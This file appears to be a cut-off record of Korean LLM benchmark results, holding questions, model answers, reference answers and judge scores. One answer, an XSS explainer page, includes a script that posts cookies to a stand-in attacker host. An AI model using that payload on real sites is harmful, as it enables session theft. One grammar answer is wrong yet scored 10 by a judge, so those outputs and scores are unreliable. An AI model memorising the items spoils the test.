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{"id": 13, "category": "수학(Math)", "questions": ["3의 98제곱의 일의 자리 숫자를 구해보세요.", "3의 98제곱은 몇 자리 숫자일까요? (단, 로그 3은 0.5)"], "outputs": ["3의 98제곱의 일의 자리 숫자를 찾으려면 일의 자리 숫자의 패턴을 살펴보겠습니다.\n\n* 3¹ = 3\n* 3² = 9\n* 3³ = 27\n* 3⁴ = 81\n* 3⁵ = 243\n\n일의 자리 숫자가 {3, 9, 7, 1}의 패턴으로 반복되는 것을 알 수 있습니다.\n\n지수를 4로 나누어 나머지를 구하여 이 패턴을 사용하여 3⁹⁸의 일의 자리 숫자를 찾을 수 있습니다.\n\n* 98를 4로 나누면 나머지는 2입니다.\n\n따라서 3⁹⁸은 3²과 같은 일의 자리 숫자를 갖게 되므로 답은 **9**입니다. \n", "3의 98제곱의 자릿수를 구하려면 로그를 사용하면 됩니다. \n\n1. **로그 취하기:** 3의 98제곱의 로그를 밑이 10인 로그를 사용하여 계산합니다.\n   \n   log(3⁹⁸) = 98 * log(3) ≈ 98 * 0.5 = 49\n\n2. **정수 부분 + 1:** 로그 값의 정수 부분에 1을 더하면 원래 수의 자릿수를 얻습니다.\n\n   49 + 1 = 50\n\n따라서, 3의 98제곱은 **50자리** 수입니다. \n"], "references": ["9", "50자리 숫자"], "query_single": {"judge_message": "모델은 3의 거듭제곱에 대한 일의 자리 숫자의 패턴을 정확히 설명하고, 이를 바탕으로 3의 98제곱의 일의 자리 숫자를 구하는 과정을 적절히 설명하였다. 지수를 4로 나누어 나머지를 구하는 방법을 사용하여 정답을 도출했으며, 이는 수학적으로 올바른 접근 방식이다. 또한, 모델은 한국어로 답변하여 언어 요구사항을 충족하였다. 추가 참고 자료인 '9'가 정답과 일치하므로, 모델의 답변은 정확하다고 볼 수 있다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 정확하고 명확한 답변을 제공했습니다. 3의 98제곱의 자릿수를 구하는 문제에서 로그를 사용하는 방법을 설명하고, 주어진 로그 3의 값(0.5)을 이용하여 계산을 진행했습니다. 계산 과정이 올바르며, 최종적으로 50자리 숫자라는 정답을 도출해냈습니다. 이는 추가 참고 자료에 제공된 정보와 일치합니다. 언어 요구사항도 충족하고 있으며, 이전 대화 맥락과도 일치하는 답변입니다.", "judge_score": 10.0}}
{"id": 41, "category": "문법(Grammar)", "questions": ["한국어에서는 비음이 아닌 ㄱ, ㄷ, ㅂ이 비음의 영향으로 ㅇ, ㄴ, ㅁ 으로 발음되는 현상이 있다. 이때 '쫓는'의 발음은 무엇인가?", "이러한 현상을 비음화라고 한다. 그렇다면 칼날이 [칼랄]로 발음되는 현상의 이름은 무엇일까?"], "outputs": ["'쫓는'의 발음은 비음 'ㄴ'의 영향을 받아 [쫃는]이 아닌 **[쫀는]**으로 발음됩니다. \n\n이는 앞 음절의 받침 'ㅊ'이 뒤 음절의 비음 'ㄴ'의 영향으로 동화되어 'ㄴ'으로 발음되는 현상 때문입니다. \n", "'칼날'이 [칼랄]로 발음되는 현상은 **유음화**라고 합니다. \n\n유음화는 'ㄴ'이 'ㄹ'의 영향을 받아 유음인 'ㄹ'로 발음되는 현상을 말합니다. '칼날'의 경우, 'ㄴ'이 'ㄹ' 앞에 위치하여 유음화가 발생하여 [칼랄]로 발음되는 것입니다. \n"], "references": ["쫀는", "유음화"], "query_single": {"judge_message": "모델은 질문에 대한 답변을 정확하고 명확하게 제공하였다. '쫓는'의 발음이 [쫀는]으로 발음된다는 점을 설명하면서, 이 현상이 앞 음절의 받침 'ㅊ'이 뒤 음절의 비음 'ㄴ'의 영향으로 동화되어 발음되는 것임을 잘 설명하였다. 추가 참고 자료인 '쫀는'을 통해 모델의 답변이 정확함을 확인할 수 있으며, 언어 요구사항을 충실히 준수하였다. 답변 과정에서 누락되거나 포함되지 못한 부분은 없으며, 설명이 충분히 이루어졌다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 질문에 대한 답변을 정확하게 제공하였습니다. '쫓는'의 발음이 [쫀는]으로 발음되는 현상을 비음화라고 설명하고, '칼날'이 [칼랄]로 발음되는 현상을 유음화라고 설명한 것은 정확합니다. 또한, 모델은 추가 참고 자료인 '유음화'를 적절히 활용하여 답변을 구성했습니다. 언어 요구사항을 준수하며 한국어로 답변하였고, 이전 대화 맥락과 일치하는 정보를 제공했습니다.", "judge_score": 10.0}}
{"id": 37, "category": "문법(Grammar)", "questions": ["한국어에서 사과라는 단어는 여러 의미를 지니고 있어. 대표적인 의미 두 가지를 말해봐.", "동음이의어와 다의어의 차이가 뭐야?"], "outputs": ["맞아요, 한국어 '사과'는 문맥에 따라 다르게 해석될 수 있는 재미있는 단어죠!  대표적인 의미 두 가지는 다음과 같아요.\n\n1. **🍎 과일 사과:**  달콤하고 아삭한 맛이 나는 붉은색 과일을 뜻합니다. \n2. **🙇‍♀️ 잘못을 인정하고 용서를 구하는 행위:** \"미안하다\"와 비슷한 의미로, 자신의 잘못을 인정하고 용서를 구하는 것을 뜻합니다. \n\n어떤 뜻으로 쓰였는지는 문맥을 통해 파악해야 해요! 예를 들어, \"사과 먹을래?\"라고 하면 과일을 뜻하는 거고, \"진심으로 사과할게\"라고 하면 용서를 구하는 행위겠죠? 😊 \n", "사과처럼 발음은 같지만 뜻이 다른 단어들의 관계를 정리해 봅시다!  '동음이의어'와 '다의어'는 언어학에서 자주 헷갈리는 개념인데, 다음과 같이 구분할 수 있어요. \n\n**1. 동음이의어 (Homonym):** \n\n* **발음이 같고 표기도 같지만 의미가 전혀 다른 단어들**을 말합니다. \n* '사과(沙果/謝過)'처럼 한자까지 달라 아예 다른 단어인 경우가 대부분입니다.\n* **예시:**\n    * 배(腹/梨):  (1) 사람이나 동물의 몸통 아래 부분 (2) 달콤한 과일\n    * 밤(夜/栗): (1) 해가 지고 어두워진 때 (2)  가을에 익는 열매\n    * 말(馬/言): (1)  히히힝 울음소리를 내는 동물 (2)  생각이나 느낌을 표현하는 것 \n\n**2. 다의어 (Polysemy):**\n\n* **발음이 같고 표기도 같지만 문맥에 따라 여러 가지 의미로 해석될 수 있는 단어**를 말합니다.\n* 하나의 단어가 역사적으로 의미가 확장되거나 비유적으로 사용되면서 여러 의미를 갖게 된 경우가 많습니다.\n* **예시:**\n    * **머리:** (1) 사람이나 동물의 몸통 윗부분 (2)  지능, 사고방식 (3)  단체의 우두머리 (4)  시작 부분 \n    * **눈:** (1)  시각을 담당하는 감각 기관 (2)  사물을 보는 능력, 관점 (3)  중심점, 주목 (4)  바늘귀 \n\n**즉, '사과(🍎/🙇‍♀️)'는 동음이의어이고, '머리'는 다의어입니다.** \n\n핵심적인 차이점은 **단어의 기원과 의미의 연관성**입니다. 동음이의어는 완전히 다른 단어가 우연히 발음이 같아진 것이고, 다의어는 하나의 단어가 문맥에 따라 여러 의미를 갖게 된 것입니다.\n"], "references": ["아래 뜻 중 두 가지 이상 언급했으면 정답으로 인정.\n1. 자기의 잘못을 인정하고 용서를 빎. 2. (타인의) 잘못을 용서함. 3. 사과나무의 열매.", "다의어는 하나의 단어가 여러 가지 의미가 있는 것이고, 동음이의어는 표기가 같으면서 소리가 같고 뜻이 다른 단어를 뜻한다."], "query_single": {"judge_message": "모델은 질문에 대해 정확하고 명확하게 답변했다. '사과'라는 단어가 가지는 두 가지 의미를 잘 설명했으며, 추가 참조 자료에 제시된 의미 중 첫 번째와 세 번째를 언급하여 요구사항을 충족했다. 또한, 각 의미에 대한 설명을 예시와 함께 제공하여 이해를 돕는 접근을 취했다. 언어 요구사항도 충실히 준수하였으며, 한국어로만 답변을 제공했다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 '사과'라는 단어의 두 가지 의미를 정확하게 설명하며 추가 참고 자료에 제시된 내용을 충실히 반영했습니다. 또한, 후속 질문에 대한 답변에서 '동음이의어'와 '다의어'의 개념을 명확하게 구분하고, 각각에 대한 예시를 들어 설명함으로써 질문의 요구사항을 충족시켰습니다. 답변은 이해하기 쉽고, 문맥에 맞게 잘 구성되었습니다. 언어 요구사항도 한국어로 완벽하게 준수하였습니다.", "judge_score": 10.0}}
{"id": 1, "category": "추론(Reasoning)", "questions": ["각국의 법률에서는 정의라는 개념이 자주 등장하며, 법령의 형성과 해석에 있어 매우 중요한 부분을 차지한다. 하지만 정의란 명확히 규정할 수 없는 개념이기에 해석의 논란이 있을 수 있다. 그렇다면 사회구성원의 대다수가 납득할 수 있는 보편적 정의를 입증하는 방법은 무엇일지 생각해보아라.", "위 답변을 영어 문장 3개로 요약한 후. 해당 문장에 있는 단어 3개를 선택하여 단어의 의미를 설명해라."], "outputs": ["## 사회구성원 대다수가 납득할 수 있는 보편적 정의 입증, 가능할까요? \n\n정의는 시대, 문화, 상황에 따라 상대적으로 해석될 수밖에 없기 때문에, 모두가 동의하는 보편적인 정의를 완벽하게 입증하는 것은 **불가능**에 가깝습니다. 하지만, 사회구성원 대다수가 납득할 수 있는 정의를 향해 노력하고 그 근거를 제시하는 방법은 분명히 존재합니다. \n\n**1. 다양한 가치와 의견을 반영하는 '절차적 정의' 추구:**\n\n* **폭넓은 의견 수렴:** 다양한 배경과 가치관을 가진 사람들의 의견을 충분히 수렴해야 합니다. 공청회, 설문조사, 시민 토론 등을 통해 사회 구성원들의 목소리를 듣고 이를 정의로운 결정에 반영해야 합니다.\n* **투명하고 공정한 절차:**  법 적용 과정의 투명성과 공정성을 확보하는 것이 중요합니다. 누구에게나 동등한 기회가 주어지고, 공정한 기준에 따라 판단이 이루어져야 합니다.  \n* **민주적인 의사결정:** 법 제정이나 정책 결정 과정에 시민들이 참여할 수 있도록 제도적 장치를 마련해야 합니다. \n\n**2. 시대 변화를 반영하는 '동적인 정의' 실현:**\n\n* **끊임없는 성찰과 토론:** 사회적 합의는 고정된 것이 아니라 끊임없이 변화하는 과정임을 인지해야 합니다.  시대 변화에 따라 새로운 가치가 등장하고 기존 가치에 대한 재해석이 이루어질 수 있습니다. \n* **사회적 약자에 대한 배려:** 사회적 약자의 목소리에 귀 기울이고, 그들의 권익을 보호하는 방향으로 정의가 실현되어야 합니다. \n* **미래 세대 고려:**  현 세대뿐만 아니라 미래 세대의 삶까지 고려하여 지속가능한 정의를 추구해야 합니다.\n\n**3. 합리적 사고와 과학적 증거 기반 '객관적 판단 기준' 마련:**\n\n* **객관적인 데이터와 통계 활용:**  정책이나 법 집행의 효과를 객관적으로 평가하고, 데이터에 기반한 합리적인 판단을 내려야 합니다. \n* **전문가들의 협력과 참여:** 특정 분야에 대한 전문 지식을 가진 사람들의 의견을 적극적으로 수렴하여 정의로운 결정을 위한 전문성을 확보해야 합니다.\n* **비판적 사고와 논리적 검증:**  사회 구성원들은 비판적 사고를 통해 정의로운 결정이 이루어졌는지 끊임없이 감시하고, 논리적 근거를 바탕으로 그 정당성을 검증해야 합니다.\n\n**결론적으로, 완벽한 정의를 증명하는 것은 불가능하지만, 위와 같은 노력을 통해 사회구성원 대다수가 납득할 수 있는 정의로운 사회를 만들어나가는 것은 가능합니다.** 끊임없는 성찰과 토론, 그리고 사회적 합의를 향한 노력만이 우리 사회를 더욱 정의로운 방향으로 이끌어 갈 수 있을 것입니다. \n", "It is practically impossible to prove universal justice agreeable to all, as the concept itself is fluid and open to interpretations. However, we can strive towards a universally acceptable justice by establishing procedural justice through democratic participation and ensuring transparency in legal processes. Ultimately, continuous social dialogues and reflections on evolving values are essential in shaping a just society. \n\n**Word Definitions:**\n\n* **Fluid (adjective):**  In this context, it describes justice as a concept that is not fixed and changes over time and across different societies and situations.\n* **Transparency (noun):**  Refers to the quality of being open and accountable in legal and governmental processes, ensuring that actions and decisions are clear and visible to the public. \n* **Evolving (verb):**  Highlights the dynamic nature of values, implying they are not static but constantly changing and adapting to new social contexts and understandings. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 질문의 요구사항을 잘 반영하여 답변하였다. 정의의 상대성을 인정하면서도, 사회구성원 대다수가 납득할 수 있는 정의를 향한 노력과 그 방법론을 구체적으로 제시하였다. 절차적 정의, 동적인 정의, 객관적 판단 기준 마련 등의 방법을 통해 보편적 정의에 접근하는 과정을 설명하며, 이러한 과정이 완벽한 정의를 증명하는 것은 아니지만, 정의로운 사회를 만들어나가는 데 기여할 수 있다고 결론지었다. 언어 요구사항도 충실히 준수하였다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 질문에 대해 한국어로 답변하지 않고 영어로 답변하였으므로 언어 요구사항을 준수하지 않았습니다. 이는 평가 기준에 따라 점수를 부여할 수 없는 중대한 위반 사항입니다. 후속 질문에 대한 답변도 영어로 제공되었으며, 이 역시 한국어로 답변해야 하는 요구사항을 위반한 것입니다. 따라서 이 답변은 점수를 부여할 수 없습니다.", "judge_score": 0.0}}
{"id": 40, "category": "문법(Grammar)", "questions": ["제26항 한자어에서, 'ㄹ' 받침 뒤에 연결되는 'ㄷ, ㅅ, ㅈ'은 된소리로 발음한다.\n제28항 표기상으로는 사이시옷이 없더라도, 관형격 기능을 지니는 사이시옷이 있어야 할(휴지가 성립되는) 합성어의 경우에는, 뒤 단어의 첫소리 'ㄱ, ㄷ, ㅂ, ㅅ, ㅈ'을 된소리로 발음한다.\n위을 참고할 때 다음 문장 중 넷과 다른 하나는?\n- [길가]에 개나리가 만개했다.에서 '길가'\n- 너희들이 그 모양이니 [발전]이 없는 거야. 에서 '발전'\n- [발바닥]에 땀이 나도록 뛰었다. 에서 '발바닥'\n- [초승달]이 뜬 저녁, 매화가 흐트러졌다.  에서 '초승달'\n- 민수는 [손재주]가 좋아 무엇이든 잘 만든다. 에서 '손재주'", "한국어 어휘에서 한자어, 고유어 중에서 무엇이 더 많이 존재하나?"], "outputs": ["정답은 **[초승달]이 뜬 저녁, 매화가 흐트러졌다. 에서 '초승달'** 입니다.\n\n**제26항**과 **제28항**은 모두 된소리화에 대한 규칙을 설명하고 있습니다. 하지만 적용되는 대상이 다릅니다.\n\n* **제26항**: 'ㄹ' 받침 뒤에 연결되는 'ㄷ, ㅅ, ㅈ'을 된소리로 발음하는 규칙입니다.\n* **제28항**: 사이시옷이 **표기상으로는 없더라도**, 관형격 기능을 지니는 사이시옷이 **있어야 할**(휴지가 성립되는) 합성어의 경우에 적용되는 규칙입니다. \n\n주어진 보기 중 '길가', '발전', '발바닥', '손재주'는 모두 제28항에 해당하는 경우입니다. \n\n* 길[깓]가 : '길'과 '가' 사이에 관형격 기능을 하는 사이시옷이 있어야 하므로 '가'의 첫소리 'ㄱ'이 된소리화됩니다.\n* 발[쩐] : '발'과 '전' 사이에 관형격 기능을 하는 사이시옷이 있어야 하므로 '전'의 첫소리 'ㅈ'이 된소리화됩니다.\n* 발[빧]닥 : '발'과 '바닥' 사이에 관형격 기능을 하는 사이시옷이 있어야 하므로 '바닥'의 첫소리 'ㅂ'이 된소리화됩니다.\n* 손[잿]주 : '손'과 '재주' 사이에 관형격 기능을 하는 사이시옷이 있어야 하므로 '재주'의 첫소리 'ㅈ'이 된소리화됩니다.\n\n반면 '초승달'은 '초승'과 '달'의 합성어이지만, 사이에 관형격 기능을 하는 사이시옷이 들어갈 자리가 없습니다. 따라서 된소리화가 일어나지 않고 '초승달'로 발음됩니다. \n", "한국어 어휘에서 **압도적으로 많은 부분을 차지하는 것은 한자어**입니다.  \n\n* **한자어**: 국립국어원의 표준국어대사전에 따르면, 전체 어휘의 약 70%가 한자어로 이루어져 있다고 합니다. 일상생활에서 자주 쓰는 단어 중 많은 수가 한자어인 것을 생각하면 쉽게 이해할 수 있습니다. (예: 사회, 경제, 문화, 역사, 교육, 정보, 통신 등)\n* **고유어**: 순수 한국어로서, 한자어에 비해 그 수가 적습니다. 주로 일상생활에서 구체적인 사물이나 행위를 나타내는 단어들이 많습니다. (예: 하늘, 땅, 나무, 돌, 먹다, 자다, 웃다, 울다 등)\n\n하지만 **단순히 수치적인 비교만으로는 한국어에서 고유어의 중요성을 간과할 수 없습니다.** 고유어는 한국어의 뿌리이며, 독창적인 문화와 정서를 담고 있습니다. 또한,  한자어가 지나치게 많이 쓰이는 것을 경계하고, 고유어를 살려 쓰려는 노력 또한 중요합니다. \n"], "references": ["너희들이 그 모양이니 [발전]이 없는 거야. 에서 '발전'", "한자어"], "query_single": {"judge_message": "모델은 제26항과 제28항의 규칙을 설명하며, 각 예시에 대해 해당 규칙이 적용되는지 여부를 분석하여 답변하였습니다. '길가', '발전', '발바닥', '손재주'가 제28항에 해당하며, '초승달'은 제28항에 해당하지 않는다고 설명하였습니다. 이는 질문의 요구사항을 충실히 반영한 것으로 보입니다. 다만, '발전'의 경우 제26항에 해당하는 'ㄹ' 받침 뒤에 'ㅈ'이 오는 경우로, 모델이 제시한 설명은 이 부분을 놓치고 있습니다. 이는 답변의 정확성에 영향을 미치는 중요한 오류입니다. 언어 요구사항은 충족하였으나, 답변의 정확성에 문제가 있습니다.", "judge_score": 6.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 정확하고 명확한 답변을 제공했다. '초승달'이 다른 단어들과 다른 이유를 설명하면서 제26항과 제28항의 규칙을 적용하여 각 단어의 발음 변화를 설명했다. 또한, 후속 질문에 대해서도 한국어 어휘에서 한자어가 차지하는 비율이 더 높다는 점을 명확히 설명하면서, 고유어의 중요성에 대해서도 언급하여 균형 잡힌 답변을 제공했다. 언어 요구사항을 충족하였으며, 이전 대화 맥락과 일치하는 답변을 제공했다.", "judge_score": 10.0}}
{"id": 23, "category": "코딩(Coding)", "questions": ["'XSS가 무엇이고 어떻게 악용될 수 있는지'를 설명하는 웹사이트의 HTML을 작성해보세요.", "XSS를 방지하는 방법은 무엇이 있나요? 이번에는 HTML이 아닌 마크다운 형식으로 작성해주세요."], "outputs": ["```html\n<!DOCTYPE html>\n<html>\n<head>\n  <title>XSS (크로스 사이트 스크립팅) 설명</title>\n</head>\n<body>\n\n<h1>XSS (크로스 사이트 스크립팅)</h1>\n\n<p>크로스 사이트 스크립팅(XSS)은 웹 사이트의 보안 취약점을 이용하여 악의적인 스크립트를 삽입하고 실행하는 공격 기법입니다. 공격자는 XSS 취약점을 이용하여 사용자의 쿠키, 세션 토큰 등 민감한 정보를 탈취하거나, 악성 웹 사이트로 리디렉션하거나, 사용자의 계정을 도용할 수 있습니다.</p>\n\n<h2>XSS 악용 방법 예시</h2>\n\n<p>다음은 XSS가 어떻게 악용될 수 있는지 보여주는 간단한 예시입니다.</p>\n\n<h3>1. 악성 스크립트 삽입</h3>\n\n<p>만약 웹 사이트가 사용자 입력 값을 제대로 필터링하지 않고 그대로 출력한다면, 공격자는 악성 스크립트를 삽입할 수 있습니다. 예를 들어, 사용자 이름을 입력받아 웹 페이지에 그대로 출력하는 웹 사이트가 있다고 가정해 보겠습니다.</p>\n\n<pre>\n  &lt;p&gt;사용자 이름: &lt;span id=\"username\"&gt;&lt;/span&gt;&lt;/p&gt;\n  &lt;script&gt;\n    document.getElementById(\"username\").innerText = new URLSearchParams(window.location.search).get(\"username\");\n  &lt;/script&gt;\n</pre>\n\n<p>공격자는 사용자 이름 입력 값에 악성 스크립트를 삽입하여 다음과 같은 URL을 사용자에게 전달할 수 있습니다.</p>\n\n<pre>\n  https://example.com/?username=&lt;script&gt;alert('XSS 공격!')&lt;/script&gt;\n</pre>\n\n<p>사용자가 이 URL에 접속하면, 브라우저는 삽입된 스크립트를 실행하여 경고창을 띄웁니다. 이는 단순한 예시이며, 실제 XSS 공격은 훨씬 더 복잡하고 위험할 수 있습니다.</p>\n\n<h3>2. 쿠키 탈취</h3>\n\n<p>공격자는 XSS 취약점을 이용하여 사용자의 쿠키를 탈취할 수 있습니다. 예를 들어, 사용자가 로그인한 상태에서 악성 스크립트가 포함된 웹 페이지에 접속하면, 스크립트는 사용자의 쿠키를 공격자의 서버로 전송할 수 있습니다.</p>\n\n<pre>\n  &lt;script&gt;\n    const cookies = document.cookie;\n    fetch('https://attacker.com/steal_cookie', {\n      method: 'POST',\n      body: cookies\n    });\n  &lt;/script&gt;\n</pre>\n\n<p>공격자는 탈취한 쿠키를 이용하여 사용자의 계정에 무단으로 접근할 수 있습니다.</p>\n\n<h2>XSS 예방 방법</h2>\n\n<p>XSS 공격을 예방하기 위해서는 다음과 같은 방법들을 적용해야 합니다.</p>\n\n<ul>\n  <li>사용자 입력 값을 필터링하여 악성 스크립트가 포함되지 않도록 합니다.</li>\n  <li>출력 시에는 HTML 엔티티 인코딩을 사용하여 특수 문자가 올바르게 처리되도록 합니다.</li>\n  <li>HTTP Strict-Transport-Security(HSTS) 헤더를 사용하여 HTTPS 연결을 강제합니다.</li>\n  <li>Content Security Policy(CSP) 헤더를 사용하여 웹 페이지에서 로드할 수 있는 리소스를 제한합니다.</li>\n</ul>\n\n</body>\n</html>\n```", "## XSS (크로스 사이트 스크립팅) 방지 방법\n\nXSS 공격을 예방하기 위해 웹 개발자는 다음과 같은 보안 조치를 취해야 합니다.\n\n**1. 입력 유효성 검사:**\n\n- 사용자로부터 입력받은 데이터는 항상 유효성을 검사해야 합니다. 예를 들어, 이메일 주소 입력 필드에는 유효한 이메일 주소 형식만 허용해야 합니다.\n- 입력 유효성 검사는 클라이언트 측과 서버 측 모두에서 수행하는 것이 좋습니다.\n\n**2. 출력 인코딩:**\n\n- 사용자에게 데이터를 출력하기 전에 항상 적절한 출력 인코딩을 수행해야 합니다. \n- 출력 인코딩은 데이터를 브라우저에서 코드로 해석되지 않도록 특수 문자를 안전한 문자로 변환합니다.\n- 사용하는 템플릿 엔진 또는 프레임워크의 기본 출력 인코딩 기능을 활용하는 것이 좋습니다.\n\n**3. 적절한 HTTP 헤더 설정:**\n\n- **Content Security Policy (CSP):** 웹 페이지에서 로드할 수 있는 리소스를 제한하여 XSS 공격을 방지합니다.\n- **HTTP Strict Transport Security (HSTS):** 웹 사이트에서 HTTPS 연결만 사용하도록 하여 중간자 공격을 통한 XSS 공격을 방지합니다.\n\n**4. 쿠키 보안:**\n\n- **HttpOnly 플래그 설정:** 쿠키에 HttpOnly 플래그를 설정하면 JavaScript에서 쿠키에 접근할 수 없도록 하여 XSS 공격으로부터 쿠키를 보호할 수 있습니다.\n- **Secure 플래그 설정:**  Secure 플래그를 설정하면 쿠키는 HTTPS 연결을 통해서만 전송되어 도청을 방지합니다.\n\n**5. 최신 보안 패치 적용:**\n\n- 사용하는 웹 서버 소프트웨어, 프레임워크, 라이브러리를 항상 최신 버전으로 유지하고 보안 패치를 적용해야 합니다.\n\n**6. 보안 교육:**\n\n- 개발팀은 XSS 및 기타 웹 보안 취약점에 대한 교육을 받아야 합니다.\n\n**7. 보안 테스트:**\n\n- 웹 애플리케이션을 배포하기 전에 보안 취약점을 발견하기 위해 정기적으로 보안 테스트를 수행해야 합니다.\n\n**참고:**\n\n- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n"], "references": [null, null], "query_single": {"judge_message": "모델은 질문에 요구된 내용을 HTML 형식으로 잘 구성하여 답변하였다. XSS에 대한 설명과 악용 예시, 예방 방법을 포함하여 웹사이트 형태로 제시하였으며, HTML 태그를 적절히 사용하여 구조적으로 잘 정리되어 있다. 또한, 언어 요구사항을 준수하여 한국어로 답변하였다. 답변 내용 중 실제 코드 예시를 포함하여 XSS 공격이 어떻게 이루어질 수 있는지를 시각적으로 잘 보여주었다. 그러나 실제 웹사이트에서 사용될 수 있는 완전한 HTML 문서로 보기에는 CSS나 JavaScript 등의 추가적인 요소가 빠져 있어 실제 웹사이트처럼 보이지는 않는다는 점이 아쉽다.", "judge_score": 9.0}, "query_multi": {"judge_message": "모델은 마크다운 형식으로 XSS를 방지하는 방법을 잘 설명하였습니다. 질문에 요구된 형식을 준수하며, XSS 방지를 위한 다양한 기술적 조치들을 명확하게 나열하고 간략하게 설명했습니다. 또한, 각 방법에 대한 간단한 설명을 추가하여 이해를 돕고, OWASP XSS Prevention Cheat Sheet 링크를 참고 자료로 제공하여 신뢰성을 높였습니다. 이전 대화 맥락과도 일치하며, 언어 요구사항을 충족하고 있습니다.", "judge_score": 10.0}}
{"id": 17, "category": "글쓰기(Writing)", "questions": ["온라인 서비스에서 광고를 없애는 '프리미엄 요금제'가 회사 매출에 긍정적 영향을 일으킬 수 있다는 주제로 프리미엄 요금제 도입을 촉구하는 글을 작성해보아라.", "프리미엄 요금제를 도입하면서 기존의 무료 서비스를 이용하던 사용자들이 어떠한 반응을 보일 수 있는지 예상해보아라."], "outputs": ["## 광고 없는 세상, 프리미엄 요금제로 열어갈 새로운 지평\n\n**사용자 경험 향상과 매출 증대, 두 마리 토끼를 잡을 프리미엄 요금제 도입을 강력히 제안합니다.**\n\n현재 우리 서비스는 광고 수익에 의존하고 있습니다. 하지만 무분별하게 노출되는 광고는 **사용자들의 피로도를 높이고, 서비스 이용 경험을 저해하는 주요 원인**이 되고 있습니다. 실제로 [경쟁 서비스 사례 언급]과 같이, 과도한 광고는 사용자 이탈과 부정적 이미지 형성으로 이어질 수 있습니다.\n\n이러한 문제점을 해결하고 사용자들에게 더욱 쾌적한 환경을 제공하기 위해 **프리미엄 요금제 도입**이 시급합니다. 광고 없는 쾌적한 서비스 이용 경험을 제공하는 프리미엄 요금제는 다음과 같은 **긍정적인 효과**를 가져올 것입니다.\n\n**1. 사용자 만족도 및 충성도 향상:**\n\n- 광고 없는 쾌적한 환경은 사용자 만족도를 높여 서비스 이용 시간 증가, 이용 빈도 증가로 이어질 것입니다. \n- 이는 자연스럽게 사용자들의 서비스 충성도 향상으로 이어져 장기적인 관점에서 안정적인 수익 확보에 기여할 것입니다.\n\n**2. 프리미엄 사용자 확보를 통한 새로운 수익 모델 구축:**\n\n- 광고 제거 뿐 아니라, 추가적인 기능 및 콘텐츠 제공을 통해 프리미엄 사용자를 확보할 수 있습니다.\n- 이는 기존 광고 수익에 의존하는 구조에서 벗어나 다양한 수익 모델을 구축하는 발판이 될 것입니다.\n\n**3. 브랜드 이미지 제고 및 경쟁력 강화:**\n\n- 프리미엄 요금제는 사용자 중심적인 서비스라는 긍정적인 이미지를 심어줄 수 있습니다.\n- 이는 경쟁 서비스와의 차별화를 통해 브랜드 가치를 높이고 시장 경쟁력을 강화하는 데 기여할 것입니다.\n\n물론, 프리미엄 요금제 도입 과정에서 기존 사용자 이탈 가능성, 적정 가격 정책 수립 등 다양한 어려움에 직면할 수 있습니다. 하지만 **철저한 시장 조사와 사용자 분석, 그리고 경쟁력 있는 가격 및 혜택 설정**을 통해 이러한 어려움을 충분히 극복할 수 있을 것입니다.\n\n프리미엄 요금제 도입은 단순히 수익 창출을 넘어, **장기적인 관점에서 서비스 경쟁력 강화 및 사용자와의  '윈윈'  관계 구축**을 위한 필수적인 전략입니다. 이 제안을 적극적으로 검토하여 더 나은 서비스를 만들어 나가는 발판으로 삼기를 기대합니다. \n", "프리미엄 요금제 도입 시, 기존 무료 사용자들의 반응은 긍정적 기대와 더불어 우려 섞인 시선이 공존할 것으로 예상됩니다. \n\n**1. 긍정적 반응:**\n\n* **광고 없는 환경에 대한 기대:** 평소 광고에 불편함을 느꼈던 사용자들은 프리미엄 요금제를 통해 쾌적한 환경에서 서비스를 이용할 수 있다는 점에 매력을 느낄 것입니다. 특히 충성도 높은 헤비 유저일수록 광고 없는 환경에 대한 니즈가 높아 프리미엄 요금제 전환 가능성이 높습니다.\n* **추가적인 기능 및 콘텐츠에 대한 기대:** 프리미엄 사용자에게만 제공되는 특별한 기능이나 콘텐츠는 무료 사용자들에게 매력적인 유인 요소가 될 수 있습니다. 이는 단순히 광고 제거를 넘어 프리미엄 서비스만의 차별화된 가치를 제공하여 사용자 만족도를 높이는 데 기여할 것입니다.\n* **서비스 개선에 대한 기대:** 프리미엄 요금제 도입으로 확보된 수익이 서비스 개선에 재투자될 것이라는 기대감이 형성될 수 있습니다. 이는 무료 사용자들에게도 장기적인 관점에서 긍정적인 요소로 작용할 수 있습니다.\n\n**2. 부정적 반응:**\n\n* **무료 서비스 저하에 대한 우려:** 프리미엄 요금제에 집중하면서 기존 무료 서비스의 질이 저하될 것을 우려하는 목소리가 나올 수 있습니다. 예를 들어, 무료 사용자에게 광고 노출 빈도를 높이거나 기능 제한을 강화하는 경우 반발이 예상됩니다. \n* **상대적 박탈감:** 프리미엄 사용자에게만 특별한 혜택이 제공되는 것에 대한 상대적 박탈감을 느낄 수 있습니다. 특히, 기존에 무료로 누리던 기능이나 혜택이 축소될 경우 이러한 박탈감은 더욱 커질 수 있습니다.\n* **가격에 대한 저항:** 프리미엄 요금제 가격이 사용자들의 지불 의사보다 높게 책정될 경우, 가격에 대한 저항에 부딪힐 수 있습니다. \n\n**성공적인 프리미엄 요금제 안착을 위해서는?**\n\n* **무료 사용자와의 소통 강화:** 프리미엄 요금제 도입 배경과 목표, 그리고 무료 서비스 운영 계획에 대한 명확한 정보를 투명하게 공개하여  사용자들의 불안감을 해소해야 합니다.\n* **차별화된 가치 제공:** 단순히 광고 제거를 넘어 프리미엄 사용자만을 위한 차별화된 가치를 제공해야 합니다. \n* **적절한 가격 정책:** 사용자들의 지불 의사를 고려하여 합리적인 가격을 설정해야 합니다. \n* **무료 서비스 유지 및 개선 노력:** 프리미엄 요금제 도입 후에도 무료 서비스의 질 저하 없이 지속적인 개선 노력을 기울여야 합니다. \n\n\n프리미엄 요금제 도입은 기존 사용자들의 반응을 예측하고 대비하는 것이 중요합니다. 긍정적 요소는 극대화하고 부정적 요소는 최소화하여 모두에게 긍정적인 결과를 가져올 수 있도록 신중하게 접근해야 합니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 주어진 질문에 대해 프리미엄 요금제 도입을 촉구하는 글을 잘 작성하였다. 사용자 경험 향상, 새로운 수익 모델 구축, 브랜드 이미지 제고 등의 긍정적인 효과를 구체적으로 